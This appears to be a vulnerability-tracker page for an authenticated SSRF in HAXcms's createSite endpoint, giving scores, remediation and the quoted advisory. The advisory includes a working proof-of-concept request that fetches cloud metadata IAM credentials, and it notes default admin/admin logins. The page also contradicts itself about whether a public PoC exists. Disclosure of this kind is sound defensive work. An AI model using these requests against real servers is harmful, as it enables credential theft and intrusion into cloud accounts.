Skip to main content

HAXcms CVE-2026-46393

| EUVDEUVD-2026-34884 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-19 https://github.com/haxtheweb/issues GHSA-q862-gcgq-5m6g
7.1
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to HAXcms (default or stolen creds)
  2. Delivery
    Capture JWT and CSRF token
  3. Exploit
    POST crafted build.files to /createSite
  4. Install
    Server calls file_get_contents on attacker URL
  5. C2
    Response written to sites/<name>/files/
  6. Execute
    GET file to retrieve metadata/credentials
  7. Impact
    Pivot using stolen cloud IAM keys

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated session on HAXcms - PR:L per the CVSS vector - but the advisory notes fresh installs ship with default credentials admin/admin, substantially weakening this barrier. The attacker must also obtain a valid JWT and CSRF token (trivially issued post-login) and reach the /createSite endpoint over the network (AV:N). No user interaction is required (UI:N) and no special non-default configuration is needed; the vulnerable bulk-import code path with is_uploaded_file() bypass is present in stock @haxtheweb/haxcms-nodejs versions <= 25.0.0. Impact on cloud-metadata theft is limited to instances where the host has IMDSv1 enabled or IMDSv2 with permissive hop limits; on-prem deployments without cloud metadata services still face arbitrary file read and internal SSRF.

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N yields 7.1 (High), reflecting network reachability, low complexity, low-privilege authentication, no user interaction, and high confidentiality impact with no integrity or availability impact - which aligns with an SSRF/file-read primitive. EPSS and KEV data were not provided in the input, so exploitation probability and active-exploitation status cannot be quantified; absence of a KEV entry means this should be treated as not confirmed actively exploited. However, publicly available exploit code exists in the GHSA advisory and the PoC notes that fresh installs ship with default admin/admin credentials, which materially lowers the practical PR:L barrier and makes opportunistic exploitation realistic against unhardened deployments. The cloud-metadata exfiltration path (169.254.169.254) is particularly impactful for HAXcms instances hosted on AWS/Azure/GCP, where stolen IAM credentials can pivot well beyond the original CVSS scope.

Exploit ScenarioDerived

An attacker logs into a HAXcms instance using either compromised low-privilege credentials or the documented default admin/admin on a fresh install, then issues a POST to /createSite with a build.files entry whose tmp_name is set to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The server fetches the cloud metadata response via file_get_contents() and writes it to sites/<sitename>/files/poc.txt, which the attacker then retrieves with a simple GET, yielding IAM credentials that can be used to pivot into the cloud account. Working PoC steps are published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 05, 2026

Server-Side Request Forgery in HAXcms (versions <= 25.0.0 of @haxtheweb/haxcms-nodejs, with PoC against v11.0.6) allows authenticated low-privileged users to coerce the server into fetching arbitrary URLs or local file paths via the createSite endpoint's build.files parameter, with responses written to a web-accessible directory. This produces arbitrary file read, internal network reconnaissance, and cloud metadata credential theft. Publicly available exploit code exists in the GHSA advisory, though no CISA KEV listing is present.

Earlier versions of this analysis (2)
v2 Jun 05, 2026 - 19:34 cvss changed CVSS 7.1

Authenticated Server-Side Request Forgery in HAXcms (@haxtheweb/haxcms-nodejs <= 25.0.0) lets any logged-in user coerce the server to fetch arbitrary URLs or local file paths via the createSite endpoint and write the responses to a web-accessible directory. Publicly available exploit code exists (detailed PoC in the GHSA advisory), enabling arbitrary file read, internal network reconnaissance, and cloud metadata credential theft. No active in-the-wild exploitation has been reported in CISA KEV.

v1 May 19, 2026 - 15:32

Server-Side Request Forgery in HAXcms (haxcms-nodejs <= 25.0.0) allows authenticated users to coerce the server into fetching arbitrary URLs or local file paths via the createSite endpoint's build.files parameter, with responses written to a web-accessible directory. Exploitation yields arbitrary file read, internal network reconnaissance, and exfiltration of cloud metadata credentials such as AWS IAM tokens from 169.254.169.254. A detailed proof-of-concept is published in the GitHub Security Advisory GHSA-q862-gcgq-5m6g, though no public exploit identified at time of analysis as a standalone weaponized tool.

RemediationAI

Vendor-released patch: upgrade @haxtheweb/haxcms-nodejs to version 26.0.0 or later, per the GHSA-q862-gcgq-5m6g advisory at https://github.com/haxtheweb/issues/security/advisories/GHSA-q862-gcgq-5m6g. Operators who cannot immediately upgrade should rotate or remove default admin/admin credentials and enforce strong authentication on the /createSite endpoint, then restrict outbound network egress from the HAXcms host so it cannot reach internal RFC1918 ranges, loopback, or cloud metadata endpoints (169.254.169.254, fd00:ec2::254) - note this will break any legitimate outbound import workflows. Where feasible, place a reverse proxy or WAF rule in front of /createSite to reject requests whose build.files entries contain scheme prefixes (http://, https://, file://, gopher://, ftp://) or absolute filesystem paths, and consider revoking IMDSv1 in favor of IMDSv2 with hop-limit 1 on cloud instances to neutralize the metadata-exfiltration path.

Affected VersionsENISA

haxcms-nodejs < 26.0.0
haxcms-php < 26.0.0

Affected Packages

npm @haxtheweb/haxcms-nodejs fix: 26.0.0
euvd haxcms_nodejs fix: 26.0.0
euvd haxcms_php fix: 26.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HAXcms is an open-source headless CMS distributed as the npm package @haxtheweb/haxcms-nodejs, but the vulnerable code path is the PHP backend component. The root cause is CWE-918 (Server-Side Request Forgery): the createSite endpoint deserializes attacker-controlled JSON into $filesToDownload (Operations.php line 2626), iterates the entries (line 2730), and passes each item to HAXCMSFile::save() with a bulk-import flag. In HAXCMSFile.php line 30, the code calls file_get_contents($upload['tmp_name']) where tmp_name is fully attacker-controlled. The bulk-import flag deliberately skips PHP's is_uploaded_file() check, and file_get_contents() in PHP supports multiple URL wrappers (http, https, ftp, file, gopher under some configurations), so the input is treated as a stream URL rather than an actual uploaded temp file. The only validation is an extension whitelist applied to the JSON key (filename), which the attacker also controls.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 05, 2026 - 19:34 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 05, 2026 - 19:34 vuln.today
v2 - CVSS changed
CVSS changed
Jun 05, 2026 - 19:22 NVD
7.1 (HIGH)

DescriptionGitHub Advisory

Summary

An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.

Details

The createSite endpoint in HAXcms (v11.0.6) accepts a build.files parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using file_get_contents().

The data flow is as follows:

  • User input (build.files) is processed via object_to_array() into a PHP array
  • Assigned to $filesToDownload in Operations.php (line 2626)
  • Iterated over in Operations.php (line 2730), where each entry is passed to HAXCMSFile::save() with bulk-import enabled

In HAXCMSFile.php (line 30), the following occurs:

php
file_get_contents($upload['tmp_name']);

Here, tmp_name is attacker-controlled and may contain:

  • External URLs (http://attacker.com)
  • Internal services (http://127.0.0.1)
  • Cloud metadata endpoints (http://169.254.169.254)
  • Local file paths (/etc/passwd, /proc/self/environ)

The bulk-import flag bypasses is_uploaded_file() validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.

There are no restrictions on:

  • URL schemes (http, file, gopher, etc.)
  • Destination IP ranges (internal, loopback, metadata services)
  • Response content

All fetched content is written to:

sites/<sitename>/files/<filename>

and is accessible via the web.

PoC

Prerequisites:

  • Authenticated session (default credentials: admin/admin on fresh installs)
  • Valid JWT and CSRF token

Step 1: Log in and capture JWT + CSRF token

Step 2: Send crafted request:

POST /createSite HTTP/1.1
Host: target
Authorization: Bearer [JWT]
X-CSRF-Token: [TOKEN]
Content-Type: application/json

{
  "site": {
    "name": "poc"
  },
  "build": {
    "files": {
      "poc.txt": {
        "tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
      }
    }
  }
}

Step 3: Retrieve response:

GET /sites/poc/files/poc.txt

The response will contain the fetched content (e.g., cloud credentials or internal service data).

Impact

  • SSRF enabling access to internal network services
  • Arbitrary file read via local filesystem paths
  • Cloud credential exposure through metadata endpoints
  • Data exfiltration via web-accessible file storage

Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.

Executive ViewAI

Why It Matters

HAXcms site management software versions 25.0.0 and earlier allow authenticated users to extract sensitive files and cloud credentials; publicly available exploit code exists for this vulnerability. Organizations using affected versions face immediate risk of credential theft and internal data exposure.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy